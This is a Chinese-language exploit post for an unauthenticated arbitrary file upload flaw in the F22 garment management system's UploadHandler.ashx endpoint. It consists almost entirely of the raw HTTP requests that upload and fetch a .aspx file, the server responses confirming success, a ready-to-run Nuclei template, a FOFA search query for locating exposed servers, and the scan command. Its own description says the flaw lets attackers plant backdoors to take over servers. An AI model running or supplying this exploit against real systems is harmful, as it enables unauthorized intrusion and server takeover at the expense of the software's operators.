【0day】F22服装管理软件系统UploadHandler.ashx任意文件上传漏洞(附POC)

POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Connection: closeContent-Length: 433Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="folder"
/upload/udplog------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="Filedata"; filename="1.aspx"Content-Type: application/octet-stream
hello1234567------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="Upload"
Submit Query------------398jnjVTTlDVXHlE7yYnfwBoix--

HTTP/1.1 200 OKConnection: closeContent-Length: 23Cache-Control: privateContent-Type: text/plain; charset=utf-8Date: Wed, 29 Nov 2023 12:11:04 GMTServer: Microsoft-IIS/7.5X-Aspnet-Version: 4.0.30319X-Powered-By: ASP.NET
1,2023112820110493.aspx

GET /upload/udplog/2023112820110493.aspx HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36Connection: closeAccept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeContent-Length: 27Cache-Control: privateContent-Type: text/html; charset=utf-8Date: Wed, 29 Nov 2023 12:11:08 GMTServer: Microsoft-IIS/7.5X-Aspnet-Version: 4.0.30319X-Powered-By: ASP.NET
hello1234567

id: F22-UploadHandler-fileuploadinfo:  name: F22服装管理软件系统UploadHandler.ashx任意文件上传漏洞  author: fgz  severity: critical  description: 'F22服装管理软件系统/CuteSoft_Client/UploadHandler.ashx接口存在任意文件上传漏洞，由于系统对用户上传的文件类型未作任何过滤和限制，未授权的攻击者可以通过此接口上传恶意后门文件获取服务器信息或权限。'  tags: 2023, F22, fileupload  metadata:    max-request: 1    fofa-query: body="F22WEB登陆"    verified: true
http:  - raw:      - |        POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1        Host: {{Hostname}}        Accept-Language: zh-CN,zh;q=0.9        Content-Type: multipart/form-data; boundary=----------{{randstr}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36        Accept: */*        Accept-Encoding: gzip, deflate                ------------{{randstr}}        Content-Disposition: form-data; name="folder"                /upload/udplog        ------------{{randstr}}        Content-Disposition: form-data; name="Filedata"; filename="1.aspx"        Content-Type: application/octet-stream                {{randstr}}        ------------{{randstr}}        Content-Disposition: form-data; name="Upload"                Submit Query        ------------{{randstr}}--
      - |        GET /upload/udplog/{{replace(file_name,'1,','')}} HTTP/1.1        Host: {{Hostname}}
    extractors:      - type: dsl        internal: true        name: file_name        dsl:          - body    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && contains(body_1, 'aspx') && status_code_2 == 200 && contains(body_2, '{{randstr}}')"

nuclei.exe -t mypoc/其他/F22-UploadHandler-fileupload.yaml -u http://x.x.x.x